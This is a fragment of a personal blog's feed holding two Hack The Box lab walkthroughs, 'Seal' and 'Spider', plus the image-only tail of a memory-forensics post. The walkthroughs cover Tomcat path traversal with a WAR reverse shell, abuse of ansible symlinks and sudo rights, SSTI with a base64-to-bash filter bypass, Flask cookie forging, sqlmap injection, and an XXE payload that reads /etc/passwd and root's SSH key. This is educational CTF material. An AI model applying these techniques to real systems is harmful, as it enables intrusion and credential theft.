<p><img src="/assets/images/papers-volatility/volatility1.jpg" alt="" />
<img src="/assets/images/papers-volatility/volatility2.jpg" alt="" />
<img src="/assets/images/papers-volatility/volatility3.jpg" alt="" />
<img src="/assets/images/papers-volatility/volatility4.jpg" alt="" />
<img src="/assets/images/papers-volatility/volatility5.jpg" alt="" />
<img src="/assets/images/papers-volatility/volatility6.jpg" alt="" />
<img src="/assets/images/papers-volatility/volatility7.jpg" alt="" />
<img src="/assets/images/papers-volatility/volatility8.jpg" alt="" />
<img src="/assets/images/papers-volatility/volatility9.jpg" alt="" />
<img src="/assets/images/papers-volatility/volatility10.jpg" alt="" />
<img src="/assets/images/papers-volatility/volatility11.jpg" alt="" />
<img src="/assets/images/papers-volatility/volatility12.jpg" alt="" /></p>]]></content><author><name>Daniel López Gala</name><email>daniel.lopezgala@epfl.ch</email></author><category term="Forensic" /><category term="forensic" /><category term="volatility" /><category term="sockets" /><category term="file recover" /><category term="ram analysis" /><summary type="html"><![CDATA[Análisis forense de un volcado de memoria volátil (RAM) utilizando Volatility]]></summary></entry><entry><title type="html">Seal - Hack The Box</title><link href="https://daniellopezgala.ch/htb-writeup-seal/" rel="alternate" type="text/html" title="Seal - Hack The Box" /><published>2021-11-18T00:00:00+00:00</published><updated>2021-11-18T00:00:00+00:00</updated><id>https://daniellopezgala.ch/htb-writeup-seal</id><content type="html" xml:base="https://daniellopezgala.ch/htb-writeup-seal/"><![CDATA[<p><img src="/assets/images/htb-writeup-seal/seal_logo.jpg" alt="" /></p>

<p>This system is exploited, after some fuzzing, through a Tomcat manager with path traversal that makes the typical WAR shell a bit more difficult, and lateral movement is performed, as well as privilege escalation, through ansible misconfigurations.</p>

<h2 id="nmap">Nmap</h2>

<p>The nmap scan reveals different http ports.</p>

<p><img src="/assets/images/htb-writeup-seal/seal1.png" alt="" /></p>

<p>One of them with interesting information.</p>

<p><img src="/assets/images/htb-writeup-seal/seal2.png" alt="" /></p>

<p>We can add the host to out <code class="language-plaintext highlighter-rouge">/etc/hosts</code> file.</p>

<p><img src="/assets/images/htb-writeup-seal/seal4.png" alt="" /></p>

<h2 id="gitbucket">Gitbucket</h2>

<p>Let’s use the Set-Cookie with the 8080 port.</p>

<p><img src="/assets/images/htb-writeup-seal/seal5.png" alt="" /></p>

<p>There is a login page.</p>

<p><img src="/assets/images/htb-writeup-seal/seal6.png" alt="" /></p>

<p>As there is a register page, I decided to register.</p>

<p><img src="/assets/images/htb-writeup-seal/seal7.png" alt="" /></p>

<p>We can see some commits.</p>

<p><img src="/assets/images/htb-writeup-seal/seal8.png" alt="" /></p>

<p>In one of them there are tomcat credentials.</p>

<p><img src="/assets/images/htb-writeup-seal/seal9.png" alt="" /></p>

<p>If we keep searching, there is something about mutual authentication enabled.</p>

<p><img src="/assets/images/htb-writeup-seal/seal10.png" alt="" /></p>

<p>The credentials with the <code class="language-plaintext highlighter-rouge">Alex</code> username don’t work.</p>

<p><img src="/assets/images/htb-writeup-seal/seal11.png" alt="" /></p>

<p>There is a “Core Dev” named Luis.</p>

<p><img src="/assets/images/htb-writeup-seal/seal12.png" alt="" /></p>

<p>If we fuzz the host with gobuster we can find the <code class="language-plaintext highlighter-rouge">/manager</code> path.</p>

<p><img src="/assets/images/htb-writeup-seal/seal13.png" alt="" /></p>

<p>In the <code class="language-plaintext highlighter-rouge">/manager</code> path there is also a <code class="language-plaintext highlighter-rouge">/status</code> directory.</p>

<p><img src="/assets/images/htb-writeup-seal/seal14.png" alt="" /></p>

<p>If we go there, we’ll find a login form.</p>

<p><img src="/assets/images/htb-writeup-seal/seal15.png" alt="" /></p>

<p>The credentials previously found are valid.</p>

<p><img src="/assets/images/htb-writeup-seal/seal20.png" alt="" /></p>

<h2 id="tomcat">Tomcat</h2>

<p>It is a tomcat manager page.</p>

<p><img src="/assets/images/htb-writeup-seal/seal21.png" alt="" /></p>

<p>We can use path traversal via reverse proxy mapping. Information in the image below.</p>

<p><img src="/assets/images/htb-writeup-seal/seal22.png" alt="" /></p>

<p>And now we are in the html directory</p>

<p><img src="/assets/images/htb-writeup-seal/seal23.png" alt="" /></p>

<p>We can exploit it as every tomcat manager, with a WAR exploit.</p>

<p><img src="/assets/images/htb-writeup-seal/seal24.png" alt="" /></p>

<p>The payload can be created with msfvenom.</p>

<p><img src="/assets/images/htb-writeup-seal/seal25.png" alt="" /></p>

<p>The upload is forbidden.</p>

<p><img src="/assets/images/htb-writeup-seal/seal26.png" alt="" /></p>

<p>Let’s intercept the request with burpsuite.</p>

<p><img src="/assets/images/htb-writeup-seal/seal27.png" alt="" /></p>

<p>We have to use the path traversal.</p>

<p><img src="/assets/images/htb-writeup-seal/seal28.png" alt="" /></p>

<p>Now we have the shell in the manager.</p>

<p><img src="/assets/images/htb-writeup-seal/seal29.png" alt="" /></p>

<p>If we listen in the port with netcat and trigger the shell from the tomcat manager, we get a shell.</p>

<p><img src="/assets/images/htb-writeup-seal/seal30.png" alt="" /></p>

<p>Let’s upgrade it with Python</p>

<p><img src="/assets/images/htb-writeup-seal/seal31.png" alt="" /></p>

<p>Now we have a propper shell as the tomcat user.</p>

<p><img src="/assets/images/htb-writeup-seal/seal32.png" alt="" /></p>

<h2 id="enumeration">Enumeration</h2>

<p>As <code class="language-plaintext highlighter-rouge">tomcat</code> we can’t take the flag, we need the <code class="language-plaintext highlighter-rouge">luis</code> user.</p>

<p><img src="/assets/images/htb-writeup-seal/seal33.png" alt="" /></p>

<p>We have read permissions, and in its home directory there is a hidden <code class="language-plaintext highlighter-rouge">.ansible</code> folder.</p>

<p><img src="/assets/images/htb-writeup-seal/seal34.png" alt="" /></p>

<p>This is what I found about Ansible.</p>

<p><img src="/assets/images/htb-writeup-seal/seal35.png" alt="" /></p>

<p>It has ansible playbook installed.</p>

<p><img src="/assets/images/htb-writeup-seal/seal36.png" alt="" /></p>

<p>The run.yml file has <code class="language-plaintext highlighter-rouge">copy_links</code> set to yes, which can be easily exploited.</p>

<p><img src="/assets/images/htb-writeup-seal/seal37.png" alt="" /></p>

<p>Creating some symbolic links with <code class="language-plaintext highlighter-rouge">ln</code> we can get the rsa keys.</p>

<p><img src="/assets/images/htb-writeup-seal/seal39.png" alt="" /></p>

<p>If we unzip it we get the keys.</p>

<p><img src="/assets/images/htb-writeup-seal/seal40.png" alt="" /></p>

<p>Here it is the private key.</p>

<p><img src="/assets/images/htb-writeup-seal/seal42.png" alt="" /></p>

<p>With the propper rights we can use it to stablish a SSH connection as <code class="language-plaintext highlighter-rouge">luis</code>.</p>

<p><img src="/assets/images/htb-writeup-seal/seal43.png" alt="" /></p>

<h2 id="privilege-escalation">Privilege escalation</h2>

<p>Now, with <code class="language-plaintext highlighter-rouge">sudo -l</code> we can see that as <code class="language-plaintext highlighter-rouge">luis</code> we can run <code class="language-plaintext highlighter-rouge">ansible-playbook</code> as root.</p>

<p><img src="/assets/images/htb-writeup-seal/seal45.png" alt="" /></p>

<p>If we search the binary in GTFObins, we will find a really easy way of getting a root shell exploiting the privileged binary.</p>

<p><img src="/assets/images/htb-writeup-seal/seal46.png" alt="" /></p>

<p>Following the steps, we are finally root.</p>

<p><img src="/assets/images/htb-writeup-seal/seal47.png" alt="" /></p>]]></content><author><name>Daniel López Gala</name><email>daniel.lopezgala@epfl.ch</email></author><category term="Writeups" /><category term="hackthebox" /><category term="medium" /><category term="infosec" /><category term="fuzzing" /><category term="Tomcat" /><category term="ansible" /><summary type="html"><![CDATA[This system is exploited, after some fuzzing, through a Tomcat manager with path traversal that makes the typical WAR shell a bit more difficult, and lateral movement is performed, as well as privilege escalation, through ansible misconfigurations.]]></summary></entry><entry><title type="html">Spider - Hack The Box</title><link href="https://daniellopezgala.ch/htb-writeup-spider/" rel="alternate" type="text/html" title="Spider - Hack The Box" /><published>2021-10-26T00:00:00+00:00</published><updated>2021-10-26T00:00:00+00:00</updated><id>https://daniellopezgala.ch/htb-writeup-spider</id><content type="html" xml:base="https://daniellopezgala.ch/htb-writeup-spider/"><![CDATA[<p><img src="/assets/images/htb-writeup-spider/spider_logo.jpg" alt="" /></p>

<p>Spider is a complex machine with two SSTI vulnerabilities, and a really interesting method to get cookies with its private key. To escalate privileges we take advantage of the fact that we are allowed to enter input in an XML file, of which a parameter is displayed in a web service.</p>

<h2 id="nmap">Nmap</h2>

<p>The first we do is add the main host of the machine to our <code class="language-plaintext highlighter-rouge">/etc/hosts</code> file.</p>

<p><img src="/assets/images/htb-writeup-spider/spider1.png" alt="" /></p>

<p>There are only 2 open ports in the machine.</p>

<p><img src="/assets/images/htb-writeup-spider/spider2.png" alt="" /></p>

<p>Here, we can see that the port 80 hosts a nginx web server. The machine is a Linux OS and has Secure Shell Connection enabled.</p>

<p><img src="/assets/images/htb-writeup-spider/spider3.png" alt="" /></p>

<p>With whatweb we can see that same information about the web server.</p>

<p><img src="/assets/images/htb-writeup-spider/spider4.png" alt="" /></p>

<h2 id="web-page">Web page</h2>

<p>The page seems to be a furniture shop. We can look carefully and see the login, admin and register pages in the left.</p>

<p><img src="/assets/images/htb-writeup-spider/spider5.png" alt="" /></p>

<p>To login we are asked for an UUID and a password. We will have to register first.</p>

<p><img src="/assets/images/htb-writeup-spider/spider6.png" alt="" /></p>

<p>I checked for SQL injections in there parameters but they are not vulnerable.</p>

<p><img src="/assets/images/htb-writeup-spider/spider7.png" alt="" /></p>

<p>Then, we proceed to register. We need a username and a password.</p>

<p><img src="/assets/images/htb-writeup-spider/spider8.png" alt="" /></p>

<p>When we click the register button, we are given a UUID. With this UUID we can try to login.</p>

<p><img src="/assets/images/htb-writeup-spider/spider9.png" alt="" /></p>

<h2 id="ssti">SSTI</h2>

<p>As nothing happened, I thought about a SSTI, a vulnerability I have seen in a recent machine. A SSTI (Server side template injection) plays with the response of the server to execute what we want, as we will see.</p>

<p>To check if it was vulnerable, I registered with <code class="language-plaintext highlighter-rouge">9</code> as my username. If it was vulnerable, the output of the operation will be shown as the username.</p>

<p><img src="/assets/images/htb-writeup-spider/spider11.png" alt="" /></p>

<p>Now, our username is <code class="language-plaintext highlighter-rouge">81</code>, so it worked.</p>

<p><img src="/assets/images/htb-writeup-spider/spider12.png" alt="" /></p>

<p>We can try to run `` to get configuration information.</p>

<p><img src="/assets/images/htb-writeup-spider/spider13.png" alt="" /></p>

<p>Now, in our username there is a lot of information about the web server.</p>

<p><img src="/assets/images/htb-writeup-spider/spider15.png" alt="" /></p>

<p>If we read all the string, we will see a key. This “SECRET_KEY” is used for cookie encoding. With this, we will be able to get the session cookie of the user we want.</p>

<p><img src="/assets/images/htb-writeup-spider/spider16.png" alt="" /></p>

<h2 id="session-cookies-with-flask-unsign">Session cookies with Flask Unsign</h2>

<p>It is possible to craft the cookie we want using the tool <code class="language-plaintext highlighter-rouge">Flask Unsign</code>, available in Github.</p>

<p><img src="/assets/images/htb-writeup-spider/spider18.png" alt="" /></p>

<p>With <code class="language-plaintext highlighter-rouge">flask-unsign --sign --cookie</code>, the vulnerable field and the key, we will get a cookie.</p>

<p><img src="/assets/images/htb-writeup-spider/spider19.png" alt="" /></p>

<p>If we replace our cookie with this one, our user will change.</p>

<p><img src="/assets/images/htb-writeup-spider/spider20.png" alt="" /></p>

<p>We are <code class="language-plaintext highlighter-rouge">chiv</code> at this point. As the admin board is empty, we can suppose that there will be a board that is not empty. So we now need to move to another user.</p>

<p><img src="/assets/images/htb-writeup-spider/spider21.png" alt="" /></p>

<h2 id="sql-injection-in-the-cookie">SQL injection in the cookie</h2>

<p>This phase is the most difficult one of the machine. We can only get to this by trying everything we know. And I thought about a simple Python oneliner to use flask unsign and the key. With this oneliner, I could test for SQL injections and is shown below.</p>

<p>The “script” is the following one.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">flask_unsign</span> <span class="kn">import</span> <span class="n">session</span> <span class="k">as</span> <span class="n">s</span><span class="p">;</span>
<span class="n">session</span> <span class="o">=</span> <span class="n">s</span><span class="p">.</span><span class="n">sign</span><span class="p">({</span><span class="s">'uuid'</span><span class="p">:</span> <span class="n">session</span><span class="p">},</span> <span class="n">secret</span> <span class="o">=</span> <span class="s">'(SecretKey)'</span><span class="p">)</span>
</code></pre></div></div>

<p>And the SQLmap command to detect SQL injections is:</p>

<p><img src="/assets/images/htb-writeup-spider/spider23.png" alt="" /></p>

<p>Luckily, the parameter Cookie is injectable.</p>

<p><img src="/assets/images/htb-writeup-spider/spider24.png" alt="" /></p>

<p>Now we know chiv’s password and uuid.</p>

<p><img src="/assets/images/htb-writeup-spider/spider25.png" alt="" /></p>

<p>We can also see a really interesting message in its dashboard.</p>

<p><img src="/assets/images/htb-writeup-spider/spider26.png" alt="" /></p>

<p>I saved the information retrieved in my content folder.</p>

<p><img src="/assets/images/htb-writeup-spider/spider27.png" alt="" /></p>

<p>With the credentials, we can login.</p>

<p><img src="/assets/images/htb-writeup-spider/spider28.png" alt="" /></p>

<p>And in the dashboard, there is the message we have seen before.</p>

<p><img src="/assets/images/htb-writeup-spider/spider29.png" alt="" /></p>

<p>If we navigate to that URL, we will see a support portal.</p>

<p><img src="/assets/images/htb-writeup-spider/spider30.png" alt="" /></p>

<h2 id="from-ssti-to-rce">From SSTI to RCE</h2>

<p>This part is also hard, because we have to get a reverse shell from the SSTI vulnerability available in this kind of forms. The full explanation can be read in the following image.</p>

<p><img src="/assets/images/htb-writeup-spider/spider31.png" alt="" /></p>

<p>In internet there are many tutorials to get command execution with SSTI. The problem is that the page has <em>a lot</em> of filters, so we can not use <em>many</em> restricted characters and symbols. So we need to bypass them, and I found this guide.</p>

<p><img src="/assets/images/htb-writeup-spider/spider32.png" alt="" /></p>

<p>Here, we can see that the curly brackets are forbidden… Then, we have to bypass that restriction.</p>

<p><img src="/assets/images/htb-writeup-spider/spider33.png" alt="" /></p>

<p>In this first bypass, we can replace the inner curly brackets of <strong>”“</strong> with <strong>”% %”</strong></p>

<p><img src="/assets/images/htb-writeup-spider/spider34.png" alt="" /></p>

<p>But again, we are told that <strong>”.”</strong>, the point, is a forbidden character.</p>

<p><img src="/assets/images/htb-writeup-spider/spider35.png" alt="" /></p>

<p>We can encode the whole payload with <code class="language-plaintext highlighter-rouge">echo -n (base64) | base64 -d | bash</code> and pass our payload encoded to bypass the restrictions.</p>

<p><img src="/assets/images/htb-writeup-spider/spider36.png" alt="" /></p>

<p>Our bash payload will be this one.</p>

<p><img src="/assets/images/htb-writeup-spider/spider37.png" alt="" /></p>

<p>And the final payload, with the encoding thechnique, is this one.</p>

<p><img src="/assets/images/htb-writeup-spider/spider38.png" alt="" /></p>

<p>At first, it seems that it does not like it.</p>

<p><img src="/assets/images/htb-writeup-spider/spider39.png" alt="" /></p>

<p>But we finally get a reverse shell in our nc listener!</p>

<p><img src="/assets/images/htb-writeup-spider/spider40.png" alt="" /></p>

<h2 id="user-ssh">User SSH</h2>

<p>We are now <strong>user</strong> in the system.</p>

<p><img src="/assets/images/htb-writeup-spider/spider41.png" alt="" /></p>

<p>To make it easier for us, we will get the <em>chiv</em> id_rsa, and use it to connect with SSH.</p>

<p><img src="/assets/images/htb-writeup-spider/spider42.png" alt="" /></p>

<p>We have now a SSH connection as the chiv user.</p>

<p><img src="/assets/images/htb-writeup-spider/spider43.png" alt="" /></p>

<h2 id="system-enumeration">System enumeration</h2>

<p>With <code class="language-plaintext highlighter-rouge">netstat -tunlp</code> we can see the listening ports in the victim machine. The 8080 one seems interesting, as it is normally associated with HTTPS services.</p>

<p><img src="/assets/images/htb-writeup-spider/spider44.png" alt="" /></p>

<p>We can port forward it with SSH so we can get access to the port from our local machine.</p>

<p><img src="/assets/images/htb-writeup-spider/spider45.png" alt="" /></p>

<p>In the webpage hosted in that port there is a “Beta login” form.</p>

<p><img src="/assets/images/htb-writeup-spider/spider46.png" alt="" /></p>

<p>When we enter a username, a similar page as the first one is shown. And more important, our input is reflected.</p>

<p><img src="/assets/images/htb-writeup-spider/spider47.png" alt="" /></p>

<h2 id="xxe">XXE</h2>

<p>If we intercept the POST request with Burpsuite, we will see a hidden parameter, <code class="language-plaintext highlighter-rouge">version</code>.</p>

<p><img src="/assets/images/htb-writeup-spider/spider48.png" alt="" /></p>

<p>We can deduce from here that the application is parsing XML documents. This is vulnerable to XXE (External XML Entity).</p>

<p><img src="/assets/images/htb-writeup-spider/spider49.png" alt="" /></p>

<p>Let’s see if we can get something else about the XML document fetched. We can retrieve our session cookie from the logout request.</p>

<p><img src="/assets/images/htb-writeup-spider/spider51.png" alt="" /></p>

<p>If we decode this cookie, and then the base64, we will see a XML syntax with our username and the provided version. We know that the <code class="language-plaintext highlighter-rouge">username</code> part is reflected in the web, and we can write in the <code class="language-plaintext highlighter-rouge">1.0.0</code> part. We can play with that.</p>

<p><img src="/assets/images/htb-writeup-spider/spider52.png" alt="" /></p>

<p>Our XML file is the following one:</p>

<pre><code class="language-XML">&lt;!-- API Version 1.0.0 --&gt;
&lt;root&gt;
  &lt;data&gt;
    &lt;username&gt;bimo&lt;/username&gt;
    &lt;is_admin&gt;0&lt;/is_admin&gt;
  &lt;/date&gt;
&lt;/root&gt;
</code></pre>

<p>Therefore, we can close the API Version comment from our input, and then inject a malicious entity to read whatever we want. And, from our username, we can make a reference to that entity with a pointer.</p>

<p>The payload for the version input parameter will be:</p>

<p><img src="/assets/images/htb-writeup-spider/spider53.png" alt="" /></p>

<p>With this, our XML will look as:</p>

<pre><code class="language-XML">&lt;!-- API Version 1.0.0 --&gt;
&lt;!DOCTYPE foo&gt; [
  &lt;!ELEMENT foo ANY&gt;
  &lt;!ENTITY bimo SYSTEM "file:///etc/passwd" &gt;
]&gt; &lt;!-- --&gt;
&lt;root&gt;
  &lt;data&gt;
    &lt;username&gt;&amp;bimo;&lt;/username&gt;
    &lt;is_admin&gt;0&lt;/is_admin&gt;
  &lt;/date&gt;
&lt;/root&gt;
</code></pre>

<p>I injected it using burpsuite, because of the URL encoding.</p>

<p><img src="/assets/images/htb-writeup-spider/spider55.png" alt="" /></p>

<p>If everything worked as intended, we will see the file in the webpage.</p>

<p><img src="/assets/images/htb-writeup-spider/spider60.png" alt="" /></p>

<p>With <code class="language-plaintext highlighter-rouge">CTRL+U</code> we can see read it better.</p>

<p><img src="/assets/images/htb-writeup-spider/spider61.png" alt="" /></p>

<p>Now, we can use this vulnerability to read every file we want. For example, the RSA Private key of the root user (<code class="language-plaintext highlighter-rouge">/root/.ssh/id_rsa</code>).</p>

<p><img src="/assets/images/htb-writeup-spider/spider63.png" alt="" /></p>

<p>Using this private key, we can connect with SSH as the privileged user of the victim machine.</p>

<p><img src="/assets/images/htb-writeup-spider/spider64.png" alt="" /></p>]]></content><author><name>Daniel López Gala</name><email>daniel.lopezgala@epfl.ch</email></author><category term="Writeups" /><category term="hackthebox" /><category term="hard" /><category term="infosec" /><category term="SSTI" /><category term="Cookie hijacking" /><category term="SQL injection" /><category term="XXE" /><summary type="html"><![CDATA[Spider is a complex machine with two SSTI vulnerabilities, and a really interesting method to get cookies with its private key. To escalate privileges we take advantage of the fact that we are allowed to enter input in an XML file, of which a parameter is displayed in a web service.]]></summary></entry></feed>